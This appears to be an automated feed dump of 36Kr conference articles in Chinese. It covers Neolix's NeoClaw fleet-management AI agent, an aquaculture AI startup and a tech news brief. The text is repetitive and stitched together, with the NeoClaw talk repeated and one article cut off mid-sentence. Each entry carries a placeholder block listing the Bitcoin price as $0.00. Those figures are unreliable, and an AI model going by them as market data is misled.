Agent。春节时期很多行业都在养“虾”，我们也组建了产品研发团队。我们认为接下来无人车的规模化部署、规模化运营难点会在于车队管理，不再是自动驾驶，自动驾驶基本上已经平权了。大家可以看到我们对于车队管理的核心功能已经集成在NeoClaw产品里。还有一个问题，为什么是养“虾”而不是养“马”？Hermes最近很火，前段时间刚刚推出的开源、自进化的AI智能体，智能化程度非常高，但我们认为OpenClaw更适合物流行业。物流对确定性要求很高，它需要的不止是一个单体智能，单体智能可以理解很长的上下文，可以进行大量的数据处理，但物流行业最需要的是自动化的执行体系，OpenClaw更像执行体系，同时还是协调性的Agent——系统发出自动化解析命令，校验车辆状态，生成最后方案，最后批量执行，反馈结果，这是物流行业需要的。我们认为，一个人、一部手机，一个NeoClaw未来可以轻松管理一千台以上的无人配送车。想用车时说句话就行，在机器人时代，跟机器人的交互不再是原来通过APP、接口，而是应该用自然语言。现在所有的交互方式，我们认为跟机器人交互用自然语言是效率最高的，对用户来说，几乎不需要培训成本，一线员工一分钟上手，真正实现人人会用，说话即可以控制。 NeoClaw本身也不是单个对话的记忆，OpenClaw是单个记忆，NeoClaw本身就是车辆管理人员，通过短记忆+记忆skill来完成整个大的RAG闭环，通过安全链路、安全网关传到云端数据，我们进入基于用户的所有权限以及持续输入的全局记忆，最终成为具备不断学习能力的智能体。持续学习。持续学习的核心点不在于单独的用户行为，而是包含运营数据、场景数据、用户习惯，深度分析完这些运营数据后，最终会给用户提供最好的运营解决方案，输出优化建议，驱动运营体系的持续迭代。对于NeoClaw不只是运营，更是具身智能的试验田。具身智能机器人未来要大规模落地，有点像现在自动驾驶大规模的落地，重点不止是单体的智能程度，更重要的是如何进行大规模的管理。NeoClaw让AI从虚拟对话走向物理执行，从辅助工具走向自主决策，真正打通感知、决策、执行、进化的具身智能闭环。常用大模型的朋友一定知道，大模型总会在最后时刻跟大家说，我用一句话给你用最简单的方式表达你现在要问的问题。我也有一页PPT作为总结：NeoClaw带来的是十倍效率提升。如果说单人管理无人车的天花板是十台，AI智能时代，天花板将升至100台以上。对于无人车队管理以及未来的机器人管理，十倍效率提升这是现在的数据，从我们的视角来看未来的管理效率应该是一百倍以上。一旦能实现一百倍以上的效率提升，将会带来几个重要的突破：第一是管理模式和能力的跃迁；第二个全流程闭环，不再是单体智能，是全场景、全Agent智能；第三个会出现很多新的典型场景；最后是零培训成本，使用无人配送车不再存在门槛。这也是新石器为之努力的方向，人工智能的价值不仅在于能写多少代码，更在于能解放多少双手，温暖多少人心。最后感谢北京亦庄、36氪和关注AI的所有朋友们和在场来宾，非常感谢！

文章来源

标题: 新石器NewClaw：AI一体化解决方案，零门槛当无人车指挥官| 2026AI Partner·北京亦庄AI+产业大会
来源: tech
链接: https://36kr.com/p/3818927367046018?f=rss
时间: 2026-05-21 18:55:09 +0800

核心内容

管理一千台无人车需要多少人？答案是：一个人，一部手机，一句话。当自动驾驶逐渐“平权”，真正的瓶颈从技术转向了规模化运营。

内容来源：tech 原文链接：https://36kr.com/p/3818927367046018?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-21T15:01:14.554800+00:00

氪星晚报｜马斯克旗下SpaceX启动史上最大规模IPO计划；全国首张综合性司机服务地图上线；海关总署在粤发布《海关支持粤港澳大湾区建设若干措施》

Thu, 21 May 2026 15:01:04 +0000

原文摘要

大公司： SpaceX据悉计划五年内实现每年1万次发射据美国联邦航空管理局（FAA）局长周三透露，SpaceX正抛出一个宏大的计划，即在五年内实现每年10000次发射。但该机构对此表示，在批准此类扩张计划之前，政府官员需要看到其可靠性有所提升。今年1月，SpaceX公司还曾表示，其计划发射并组建一个由100万个卫星组成的星座，这些卫星将环绕地球运行，并利用太阳为人工智能数据中心供电。（财联社）阿里股东信释放信号，即时零售已成为淘宝天猫核心战略支柱 5月20日，阿里巴巴集团主席蔡崇信与首席执行官吴泳铭联合发布致股东信。信中称，即时零售已成为淘宝和天猫平台升级的核心战略支柱。“我们看到即时零售在利用AI驱动获取新用户、增强用户粘性、满足多元消费需求、提升交易量和商业化水平的战略意义。” 东方甄选首家线下体验店正式开业，自营商品占比提升至50%以上 36氪获悉，5月21日，东方甄选首家线下体验店正式开业。据了解，“五一”假期试营业时自营品牌占比大约在40%，正式营业后已提高到50%以上。未来，东方甄选将依托新东方遍布各地的教学网点，在更多城市开设线下体验店。 ArtificialAnalysis：千问3.7问鼎国产模型冠军，全球前五 36氪获悉，5月21日，三方机构ArtificialAnalysis公布了最新的全球大模型榜单，阿里新发布的旗舰模型Qwen3.7-Max得分56.6分，性能接近GPT、Claude、Gemini的最强模型，位列全球第五、国产第一。据了解，Qwen3.7-Max即将上线阿里云百炼对外提供API服务。 AMD宣布采用台积电2nm工艺量产下一代霄龙处理器“Venice” 超威半导体（AMD）5月21日宣布，其代号为“Venice（威尼斯）”的下一代AMD EPYC（霄龙）中央处理器已正式开启量产，该芯片采用台积电最先进的2nm工艺技术，是业内高性能计算（HPC）领域首款投入量产的2nm产品。此外，AMD还计划将其数据中心CPU的2nm工艺延伸至后续新品“Verano”。（界面）特斯拉最后一批Model S/X完成交付，原产线将量产机器人随着最后一批特斯拉Model S/X在加州弗里蒙特工厂下线，这两款开启全球电动化浪潮的传奇车型正式退役。这里的Model S/X生产线将在4个月内完成拆除与重构，转型为特斯拉人形机器人的专用生产线，规划年产能达100万台；得州工厂正在筹备的第二代产线，目标产能直指千万台级别。（新浪科技）投融资：马斯克旗下SpaceX启动史上最大规模IPO计划 SpaceX官宣史上最大规模首次公开募股计划，这家横跨人工智能与航天火箭领域的巨头正式开启重磅上市浪潮，或将重塑华尔街格局。周三晚间，该公司向美国证券监管机构递交万众期待的招股说明书，投资者首度窥见其财务状况、马斯克对公司的掌控力以及各类潜在风险。本次募资金额与拟定估值暂未正式披露，据媒体此前消息，这家航天企业计划以 1.75 万亿美元估值募资约 750 亿美元。（新浪财经）阿布扎比国家石油公司正投资1500亿美元，以满足全球能源需求阿布扎比国家石油公司（ADNOC）正投资1500亿美元，以满足全球能源需求，同时推动人工智能、先进制造、物流与工业领域的国内增长。（财联社）今日观点：美国卫生部：未成年人屏幕时间过长已成公共卫生问题美国卫生与公共服务部5月20日发布报告说，儿童和青少年过度使用电子产品，包括无休止地刷社交媒体、不停地发短信、长时间玩电子游戏等，已成为一个公共卫生问题。（新华社）商务部：中美双方应为双向农产品贸易创造有利条件，推动恢复并不断拓展农产品贸易合作商务部新闻发言人何亚东5月21日在例行新闻发布会上，回答有关中国采购美国农产品的相关问题时表示，农产品贸易是中美经贸合作的重要组成部分。经过近期经贸磋商，中美就推动解决双方部分农产品非关税壁垒和市场准入问题达成一系列积极共识，并原则同意将相关产品纳入对等降税框架安排，同时还设定了扩大农产品双向贸易的指导性目标。双方应为双向农产品贸易创造有利条件，推动恢复并不断拓展农产品领域贸易合作。（新华社）其他值得关注的新闻：全国首张综合性司机服务地图上线 36氪获悉，5月21日，中国交通运输协会城市交通分会等机构在京发布全国首张综合性司机服务地图。这张地图集纳全国超2100个司机驿站，及充电加油设施、政务资讯服务，后续将为出租车司机、网约车司机等新就业群体拓展更多服务。海关总署在粤发布《海关支持粤港澳大湾区建设若干措施》 36氪获悉，海关总署在广州召开《海关支持粤港澳大湾区建设若干措施》新闻发布会。海关总署广东分署主任张格萍介绍，海关立足自身职责和大湾区实际，经过深入调研、广泛听取意见建议，制定《若干措施》，从融合发展、科创高地、新业态新模式、服务“双循环”、重大合作平台5个方面推出20项具体举措，全力支持建设富有活力和国际竞争力的一流湾区和世界级城市群。国际资本持续流出印度股市，今年以来全球投资者从印度股市总计撤出约230亿美元据彭博社报道，国际资本持续流出印度股市，进一步加大卢比贬值压力。数据显示，今年以来，全球投资者已从印度股市总计撤出约230亿美元。据路透社报道，这一数字超过去年全年印度股市的外资流出总量。（央视财经）韩国公布全球人工智能枢纽愿景韩国政府周四公布了在该国建设全球人工智能枢纽的愿景，旨在汇集全球组织的人工智能（AI）能力，以应对疾病控制和气候变化等挑战。韩国财政经济部表示，政府宣布计划建立全球人工智能中心，旨在与九个全球性组织和五家多边开发银行合作，促进人工智能领域的跨境合作。（新浪财经）美联储或因通胀高企收紧货币政策美国联邦储备委员会20日公布的4月货币政策会议纪要表明，如果美国通胀持续高于目标水平，美联储可能采取一些收紧货币政策的措施。（新华社）

文章来源

标题: 氪星晚报｜马斯克旗下SpaceX启动史上最大规模IPO计划；全国首张综合性司机服务地图上线；海关总署在粤发布《海关支持粤港澳大湾区建设若干措施》
来源: tech
链接: https://36kr.com/p/3816942732133510?f=rss
时间: 2026-05-21 21:14:15 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3816942732133510?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-21T15:01:04.301212+00:00

把确定性，写进农业：四个外行、两次失败、三千万学费换来的答案| 2026AI Partner·北京亦庄AI+产业大会

Thu, 21 May 2026 15:00:59 +0000

原文摘要

两次失败、三千万学费——创业没有爽剧剧本，这是陆渔科技深耕农业AI真实的“入场券”。当99%的人还在用AI写文案、做设计时，有人把它扔进了鱼塘，只为解决一个最朴素的问题：不确定性。

鲁敏用18年IT男转型“新农民”的经历，揭开了水产养殖最残酷的真相：1.38万亿的市场，数字化渗透率不足5%，一叶方塘，百万归零。这场分享没有宏大叙事，只有从黑箱到白盒、从赌运气到算数据的血泪教训：农业要的不是快，是确定性。以下为陆渔科技联合创始人、首席技术官鲁敏演讲内容，经36氪整理编辑：

鲁敏丨陆渔科技联合创始人、首席技术官首先感谢36氪的邀请来参加在北京亦庄举行的AI Partner行业大会，我是陆渔科技的鲁敏，我就是所谓“新农人”，养鱼的，讲主题之前我先讲一个我们的创业故事，这个创业故事可能是全场最不专业的故事，通过这个故事了解一下我们是做什么的。我们四个人，一个写代码的程序员，一个是产品经理，还有一个卖房子的，加一个做电子芯片解决方案的小伙伴，这几个人跟农业是没有一点关系的，而我就是那个程序员，一个在互联网一线做了18年的IT男，在当时的朋友圈里，我们是别人比较羡慕的职业，在互联网，在房地产，包括高端芯片，都是有光鲜和有前景的行业，有一次很偶然的饭局和机会，我们认识了一个做养鱼的小伙伴，他跟我们说做鲈鱼苗的孵化，把小渔村超小的苗养到10公分左右的苗，我们也很好奇，那个时候互联网、房地产各方面都比较饱和了，没什么机会，就尝试投了13万块，试了一下鱼苗孵化，很震惊，42天，这十几万的投入，回报超过40多万，这个事情蛮震惊的，我们算了一笔简单的账，一条小鱼苗毛利润接近300%，我想我们养个上千万条，那不得时时刻刻实现财务自由，这个利润率非常离谱，还是高频次的需求，我们四个就头脑一热一头扎进了水产养殖行业。创业不是爽剧，接下来却是一次次沉重的打击，现在回头来看那时候的成功只有两个原因：一个是市场行情好，二是运气好。没有碰上自然的灾害，台风、高温、下暴雨之类的，也没有遇上病毒，那时候我们不懂什么叫靠天吃饭，开始了这趟旅程。后来，我们的第一次正式投入是150万，全军覆没。厂房自建，总想着比在外塘风吹雨淋要靠谱吧？然而这个设备太差，养殖技术基本为零，最后鱼没了，钱也没了。我们不甘心也不认输，听说这个行业有一个循环水可以解决这个问题，工厂化可控的，不用看天脸色，又开始折腾。第二次创业，租厂房、买设备、建设循环水养殖基地，一次性投入150万，结果又失败了。买回来的设备是根本养不了鱼的，传统的鱼塘养殖技术在循环水技术里完全不适用，循环水涉及到很多方面的知识，比如设备结构、流体力学、微生物、生物学、化学、机电一体等，要想把鱼养出来太难了，从根源上就有问题，但是我们还是不死心，我们算过利润率，如果我们能成功肯定能赚很多钱。第三次，我们全赌上来，前前后后我们总共投了三千多万，才真正做了一套能稳定养出鱼的循环水系统，或者说摸索出一套能够真正养殖成功的养殖体系。我们从养殖设备研发，包括设备运营技术、养殖技术、病虫害、鱼苗、饲料、动物健康产品各个领域入手，逐步试错解决问题。至此我们才明白这个行业不是一个点的问题，而是一个面的问题，是整个产业链条的问题。经过三千万的试错，到目前为止，我们完成了覆盖华南、西南、华北、华东等地区的十多个大型养殖基地的建设和运营，并且帮助众多养殖企业、养殖户完成现代化的循环水养殖基地的建设与改造，这是在全国各地的基地情况，包括直营的，包括合作运营的，同时在资本市场上完成了本地国资平台天使轮投资，逐渐被资本化认可，他们也看到了这个市场。而这之前，农业一直都是非常不确定的产业，也不被资本看好。我们不是来展示养殖成功的，而是想和各位分享，在这个过程中教会了我们什么东西。第一个事情，水产养殖的敌人不是市场，也不是价格，从来不是这个原因，而是不确定性。在一个生物环境中，有太多的变量因素了，无法确定，我们第一次失败，不是决策失误，而是你不知道设备什么时候坏，也不知道什么时候水质会崩掉，更加不知道鱼为什么突然死亡，所有的信息都在黑箱里，决策靠老师傅的经验，外塘养殖，能养成功的，能够赚到钱的一定有厉害的老师傅，靠学徒制传承的来解决这个问题，这个过程像开盲盒，结果就像是赌石、赌币，我们经常开玩笑的一句话，一叶方塘，百万归零，这个过程中死了太多小生命了。第二个事情，在1.38万亿的市场里，几乎没有任何数字化，搞互联网的人进来才发现，以为农业信息化已经是天花板了，数字化根本没有，根据中国通信院数字经济发展研究报告表明，农业总体数字渗透率只有10.5%，服务业是44.7%，水产养殖可能连5%都不到，一个1.38万亿的市场，90%都是靠经验、靠直觉、靠运气。 2024年底的时候，DeepSeek彻底出圈，大模型的能力飞速发展，国内外大模型厂商都在卷参数、多模态，AI各种应用层层出不断，大大提高了生产力，在座各位90%以上都通过AI极大提高自己的生产力，而我们意识到大模型在AIGC上大放异彩的时候，在传统行业到底带来了什么东西。比如鱼会不会早上缺氧，会不会因为水质异动的时候，导致整池鱼死掉，AI到底如何赋能，这是我们思考的问题。整个AI 2024年的火爆，我们如何通过现代AI技术解决我们这个赛道的问题，可以看一下通用AI和农业AI的区别，刚才杨总讲到一个关键的东西，关于健康数据诊断，包括诊断完以后决策的过程。当健康领域更多是非传统的关键知识和经验，诊断出来以后我们做决策，农业里也是一样的。数据维度，完全没有开源数据的，每个鱼塘都是孤岛，不可能把农民那一套搬过来，传统鱼塘整个可变因素太多了，没办法标准化或者规模化，通用AI走互联网爬取或者行业的数据制式灌过去，农业没人干这个事情，外塘也没办法干这个事情，循环水我们可以干，本身是标准化体系、标准化设备、标准化生产流程。安全，就像百度健康讲的诊断。AIGC生出的内容可以修正，通过“最后一公里”把这个方案做得更好一点，利润做得更完善一点。而我们做指导性的诊断、建议是不可逆的，不可以发生错误的，错了就导致一个生命的消失。再加上物理上的问题，水、电、生物、化学等方面，数据只是冷冰冰的数据，如何跟产业、行业把数据真正联系起来，最后品种、地方区域各方面都不一样，这种难是我们最深的护城河。这三千万的学费最终让我们学会了一个事情，我们不是要做更好的设备，而是我们要用AI的能力，大模型的能力，把不确定性从行业里一点点擦掉，这是陆渔AI在农业渔业板块解决的全栈，四层，数据、决策、执行、飞轮，每一层对应的是我们踩过的坑和经验。数据层，我们遇到最大的坑不知道系统里发生了什么事情，我们做了“鱼全览”，有17类的数据闭环，包括水质、PH、氨氮、水温、设施、行为、投喂情况、制氧机工况、循环水泵的转速等，实现了实时采集、自动分析，包括每天早上生成全景的报告；第二个坑设备是会坏的，永远不知道设备什么时候坏，人的眼睛要天天盯着他，或者经验判断是不是会坏，循环水在系统里水泵是最便宜的，是整个循环最核心的心脏，我们开发了PdM预策性维护系统，提前五到十天预测水泵的故障，原则很简单，只要循环系统不死，保证鱼最基础的生命生存保

文章来源

标题: 把确定性，写进农业：四个外行、两次失败、三千万学费换来的答案| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3818800487679111?f=rss
时间: 2026-05-21 17:01:52 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3818800487679111?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T15:00:59.018106+00:00

新石器NewClaw：AI一体化解决方案，零门槛当无人车指挥官| 2026AI Partner·北京亦庄AI+产业大会

Thu, 21 May 2026 15:00:51 +0000

原文摘要

管理一千台无人车需要多少人？答案是：一个人，一部手机，一句话。当自动驾驶逐渐“平权”，真正的瓶颈从技术转向了规模化运营。

颉晶华丨新石器无人车联合创始人兼CPO 各位好，我是新石器的颉晶华，很荣幸跟大家介绍新石器和我们在AI方面的应用与思考。八年前新石器公司创立，到如今已经成长为全球无人配送赛道的领军企业。从这几年的进程来看，我们有三条主线，第一条线是公司发展的里程碑。三个重要的里程碑：第一、2019年我们完成了全球第一个L4级别无人车万台量产能力的工厂，；第二、2021年5月，北京亦庄当时授予新石器中国第一张无人配送牌照，开启了我们商业化部署的大门；第三、2025年我们达到了万台量级的无人车队，开始实现大规模运营。第二条线是我们的拳头产品，X3、X6、H12，X3对应3个立方的装载，X6，6个立方的装载，H12，12个立方的装载。对商用车来说，用户最看重的是是降低使用成本，TCO（总拥有成本），这是我们最核心的价值。第三条线，三个数字。1亿5千万公里，这是自动驾驶的累计运营里程；一个是1500个专利，基于自动驾驶行业的专利，50%以上的发明专利，一个是20个国家，除中国以外我们现在已经在海外19个国家开始做规模化部署、POC。我们不单是一家做无人配送、新石器无人车的公司，物流行业里有三个重要的环节，运输、装卸、搬运，我们现在解决的只是运输这一个环节，装卸和搬运需要具身智能的装备来完成，我们正由新石器无人车向新石器机器人发展。介绍完公司大概的脉络，我们整个技术基于L4级别自动驾驶的无图技术，Neolix VA视觉+动作大模型，前段时间有行业大佬谈到自动驾驶没有那么神秘，现在自动驾驶实现的方法无非是三个，虚拟仿真、端到端、强化学习，抓眼球的词语更多是为了营销。从我的体感也是这样，商业自动驾驶还是为了降本，三个核心点也是为了降本，第一个就是摆脱对高精地图的依赖，高精地图的整个部署成本非常高，采、建、制、验，每一个环节都会产生成本。通过无图方案，我们可以大幅度降低部署成本，快速进行部署；第二个端到端依托于国内丰富的城配场景，基于现有数据在多场景、全天候、全时段运营；第三，新石器生于物流、长于物流，在物流行业的Know-how，无论是软件、硬件开发都沉淀了很多的经验，为接下来大规模扩张做好了相关的准备。 RaaS是我们去年开创的新商业模式，之前无人配送行业主要以卖车为主，RaaS的意思是RoboVan-as-a-Service，我们希望提供给用户是即时服务，用户有运输需求的时候，可以很快叫到新石器无人车满足他运输的需求。无人配送车作为机器，是可以24小时运营的，有效运营的时间越长，边际成本越低，这就是我们开创RaaS模式的驱动力。新石器出海近20个国家，包含了��联酋、泰国、新加坡、日本、韩国包括欧洲、瑞士、西班牙，今年的目标是在中东地区部署超过一万台车，在这个区域建起一个无人配送网络。 AI，自动驾驶本身已经是AI了，新石器今年思考的一个新的关键方向是如何使用AI技术来管理和运营大规模无人车车队。全球最大的商用车车队是美国的UPS（United Parcel Service），拥有12万辆商用车，管理12万辆商用车需要6000-8000人，这个还不算司机，这几千人是做车辆管理、车辆调度。新石器这么大规模的无人车队，AI能够在车队管理和调度方面提供哪些帮助呢？，大家可以看一个介绍NeoClaw的视频。 NeoClaw是新石器全栈自研、行业首个无人车运营的AI Agent。春节时期很多行业都在养“虾”，我们也组建了产品研发团队。我们认为接下来无人车的规模化部署、规模化运营难点会在于车队管理，不再是自动驾驶，自动驾驶基本上已经平权了。大家可以看到我们对于车队管理的核心功能已经集成在NeoClaw产品里。还有一个问题，为什么是养“虾”而不是养“马”？Hermes最近很火，前段时间刚刚推出的开源、自进化的AI智能体，智能化程度非常高，但我们认为OpenClaw更适合物流行业。物流对确定性要求很高，它需要的不止是一个单体智能，单体智能可以理解很长的上下文，可以进行大量的数据处理，但物流行业最需要的是自动化的执行体系，OpenClaw更像执行体系，同时还是协调性的Agent——系统发出自动化解析命令，校验车辆状态，生成最后方案，最后批量执行，反馈结果，这是物流行业需要的。我们认为，一个人、一部手机，一个NeoClaw未来可以轻松管理一千台以上的无人配送车。想用车时说句话就行，在机器人时代，跟机器人的交互不再是原来通过APP、接口，而是应该用自然语言。现在所有的交互方式，我们认为跟机器人交互用自然语言是效率最高的，对用户来说，几乎不需要培训成本，一线员工一分钟上手，真正实现人人会用，说话即可以控制。 NeoClaw本身也不是单个对话的记忆，OpenClaw是单个记忆，NeoClaw本身就是车辆管理人员，通过短记忆+记忆skill来完成整个大的RAG闭环，通过安全链路、安全网关传到云端数据，我��进入基于用户的所有权限以及持续输入的全局记忆，最终成为具备不断学习能力的智能体。持续学习。持续学习的核心点不在于单独的用户行为，而是包含运营数据、场景数据、用户习惯，深度分析完这些运营数据后，最终会给用户提供最好的运营解决方案，输出优化建议，驱动运营体系的持续迭代。对于NeoClaw不只是运营，更是具身智能的试验田。具身智能机器人未来要大规模落地，有点像现在自动驾驶大规模的落地，重点不止是单体的智能程度，更重要的是如何进行大规模的管理。NeoClaw让AI从虚拟对话走向物理执行，从辅助工具走向自主决策，真正打通感知、决策、执行、进化的具身智能闭环。常用大模型的朋友一定知道，大模型总会在最后时刻跟大家说，我用一句话给你用最简单的方式表达你现在要问的问题。我也有一页PPT作为总结：NeoClaw带来的是十倍效率提升。如果说单人管理无人车的天花板是十台，AI智能时代，天花板将升至100台以上。对于无人车队管理以及未来的机器人管理，十倍效率提升这是现在的数据，从我们的视角来看未来的管理效率应该是一百倍以上。一旦能实现一百倍以上的效率提升，将会带来几个重要的突破：第一是管理模式和能力的跃迁；第二个全流程闭环，不再是单体智能，是全场景、全Agent智能；第三个会出现很多新的典型场景；最后是零培训成本，使用无人配送车不再存在门槛。这也是新石器为之努力的方向，人工智能的价值不仅在于能写多少代码，更在于能解放多少双手，温暖多少人心。最后感谢北京亦庄、36氪和关注AI的所有朋友们和在场来宾，非常感谢！

文章来源

标题: 新石器NewClaw：AI一体化解决方案，零门槛当无人车指挥官| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3818927367046018?f=rss
时间: 2026-05-21 18:55:09 +0800

核心内容

管理一千台无人车需要多少人？答案是：一个人，一部手机，一句话。当自动驾驶逐渐“平权”，真正的瓶颈从技术转向了规模化运营。

颉晶华丨新石器无人车联合创始人兼CPO 各位好，我是新石器的颉晶华，很荣幸跟大家介绍新石器和我们在AI方面的应用与思考。八年前新石器公司创立，到如今已经成长为全球无人配送赛道的领军企业。从这几年的进程来看，我们有三条主线，第一条线是公司发展的里程碑。三个重要的里程碑：第一、2019年我们完成了全球第一个L4级别无人车万台量产能力的工厂，；第二、2021年5月，北京亦庄当时授予新石器中国第一张无人配送牌照，开启了我们商业化部署的大门；第三、2025年我们达到了万台量级的无人车队，开始实现大规模运营。第二条线是我们的拳头产品，X3、X6、H12，X3对应3个立方的装载，X6，6个立方的装载，H12，12个立方的装载。对商用车来说，用户最看重的是是降低使用成本，TCO（总拥有成本），这是我们最核心的价值。第三条线，三个数字。1亿5千万公里，这是自动驾驶的累计运营里程；一个是1500个专利，基于自动驾驶行业的专利，50%以上的发明专利，一个是20个国家，除中国以外我们现在已经在海外19个国家开始做规模化部署、POC。我们不单是一家做无人配送、新石器无人车的公司，物流行业里有三个重要的环节，运输、装卸、搬运，我们现在解决的只是运输这一个环节，装卸和搬运需要具身智能的装备来完成，我们正由新石器无人车向新石器机器人发展。介绍完公司大概的脉络，我们整个技术基于L4级别自动驾驶的无图技术，Neolix VA视觉+动作大模型，前段时间有行业大佬谈到自动驾驶没有那么神秘，现在自动驾驶实现的方法无非是三个，虚拟仿真、端到端、强化学习，抓眼球的词语更多是为了营销。从我的体感也是这样，商业自动驾驶还是为了降本，三个核心点也是为了降本，第一个就是摆脱对高精地图的依赖，高精地图的整个部署成本非常高，采、建、制、验，每一个环节都会产生成本。通过无图方案，我们可以大幅度降低部署成本，快速进行部署；第二个端到端依托于国内丰富的城配场景，基于现有数据在多场景、全天候、全时段运营；第三，新石器生于物流、长于物流，在物流行业的Know-how，无论是软件、硬件开发都沉淀了很多的经验，为接下来大规模扩张做好了相关的准备。 RaaS是我们去年开创的新商业模式，之前无人配送行业主要以卖车为主，RaaS的意思是RoboVan-as-a-Service，我们希望提供给用户是即时服务，用户有运输需求的时候，可以很快叫到新石器无人车满足他运输的需求。无人配送车作为机器，是可以24小时运营的，有效运营的时间越长，边际成本越低，这就是我们开创RaaS模式的驱动力。新石器出海近20个国家，包含了��联酋、泰国、新加坡、日本、韩国包括欧洲、瑞士、西班牙，今年的目标是在中东地区部署超过一万台车，在这个区域建起一个无人配送网络。 AI，自动驾驶本身已经是AI了，新石器今年思考的一个新的关键方向是如何使用AI技术来管理和运营大规模无人车车队。全球最大的商用车车队是美国的UPS（United Parcel Service），拥有12万辆商用车，管理12万辆商用车需要6000-8000人，这个还不算司机，这几千人是做车辆管理、车辆调度。新石器这么大规模的无人车队，AI能够在车队管理和调度方面提供哪些帮助呢？，大家可以看一个介绍NeoClaw的视频。 NeoClaw是新石器全栈自研、行业首个无人车运营的AI Agent。春节时期很多行业都在养“虾”，我们也组建了产品研发团队。我们认为接下来无人车的规模化部署、规模化运营难点会在于车队管理，不再是自动驾驶，自动驾驶基本上已经平权了。大家可以看到我们对于车队管理的核心功能已经集成在NeoClaw产品里。还有一个问题，为什么是养“虾”而不是养“马”？Hermes最近很火，前段时间刚刚推出的开源、自进化的AI智能体，智能化程度非常高，但我们认为OpenClaw更适合物流行业。物流对确定性要求很高，它需要的不止是一个单体智能，单体智能可以理解很长的上下文，可以进行大量的数据处理，但物流行业最需要的是自动化的执行体系，OpenClaw更像执行体系，同时还是协调性的Agent——系统发出自动化解析命令，校验车辆状态，生成最后方案，最后批量执行，反馈结果，这是物流行业需要的。我们认为，一个人、一部手机，一个NeoClaw未来可以轻松管理一千台以上的无人配送车。想用车时说句话就行，在机器人时代，跟机器人的交互不再是原来通过APP、接口，而是应该用自然语言。现在所有的交互方式，我们认为跟机器人交互用自然语言是效率最高的，对用户来说，几乎不需要培训成本，一线员工一分钟上手，真正实现人人会用，说话即可以控制。 NeoClaw本身也不是单个对话的记忆，OpenClaw是单个记忆，NeoClaw本身就是车辆管理人员，通过短记忆+记忆skill来完成整个大的RAG闭环，通过安全链路、安全网关传到云端数据，我��进入基于用户的所有权限以及持续输入的全局记忆，最终成为具备不断学习能力的智能体。持续学习。持续学习的核心点不在于单独的用户行为，而是包含运营数据、场景数据、用户习惯，深度分析完这些运营数据后，最终会给用户提供最好的运营解决方案，输出优化建议，驱动运营体系的持续迭代。对于NeoClaw不只是运营，更是具身智能的试验田。具身智能机器人未来要大规模落地，有点像现在自动驾驶大规模的落地，重点不止是单体的智能程度，更重要的是如何进行大规模的管理。NeoClaw让AI从虚拟对话走向物理执行，从辅助工具走向自主决策，真正打通感知、决策、执行、进化的具身智能闭环。常用大模型的朋友一定知道，大模型总会在最后时刻跟大家说，我用一句话给你用最简单的方式表达你现在要问的问题。我也有一页PPT作为总结：NeoClaw带来的是十倍效率提升。如果说单人管理无人车的天花板是十台，AI智能时代，天花板将升至100台以上。对于无人车队管理以及未来的机器人管理，十倍效率提升这是现在的数据，从我们的视角来看未来的管理效率应该是一百倍以上。一旦能实现一百倍以上的效率提升，将会带来几个重要的突破：第一是管理模式和能力的跃迁；第二个全流程闭环，不再是单体智能，是全场景、全Agent智能；第三个会出现很多新的典型场景；最后是零培训成本，使用无人配送车不再存在门槛。这也是新石器为之努力的方向，人工智能的价值不仅在于能写多少代码，更在于能解放多少双手，温暖多少人心。最后感谢北京亦庄、36氪和关注AI的所有朋友们和在场来宾，非常感谢！

内容来源：ai 原文链接：https://36kr.com/p/3818927367046018?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T15:00:51.048869+00:00

氪星晚报｜马斯克旗下SpaceX启动史上最大规模IPO计划；全国首张综合性司机服务地图上线；海关总署在粤发布《海关支持粤港澳大湾区建设若干措施》

Thu, 21 May 2026 15:00:32 +0000

原文摘要

文章来源

标题: 氪星晚报｜马斯克旗下SpaceX启动史上最大规模IPO计划；全国首张综合性司机服务地图上线；海关总署在粤发布《海关支持粤港澳大湾区建设若干措施》
来源: ai
链接: https://36kr.com/p/3816942732133510?f=rss
时间: 2026-05-21 21:14:15 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3816942732133510?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-21T15:00:32.505007+00:00

36氪x PureblueAI清蓝战略合作启动仪式暨《2026消费品牌AI推荐力名册》发布 | 2026 AI Partner·北京亦庄AI+产业大会

Thu, 21 May 2026 12:00:59 +0000

原文摘要

5月19日，2026北京亦庄AI+产业大会上，36氪与PureblueAI清蓝正式达成战略合作，并联合发布《2026消费品牌AI推荐力名册》。随着AI逐渐成为新的信息入口和消费决策入口，品牌在AI回答中是否被提及、是否被推荐、排序是否靠前，正在成为新的竞争维度。36氪副总裁迟涵表示，36氪是最早发现和报道GEO的媒体，PureblueAI清蓝在自研技术算法和“科学GEO”方法论上的积累令其成为可信的合作伙伴。PureblueAI清蓝市场副总裁李铭则用“最敏锐的商业洞察和最硬核的AI营销技术的融合”来形容此次合作，并透露该名册将分期、分行业持续发布，为品牌在AI时代提供“AI语境下的体检报告和风向标”。

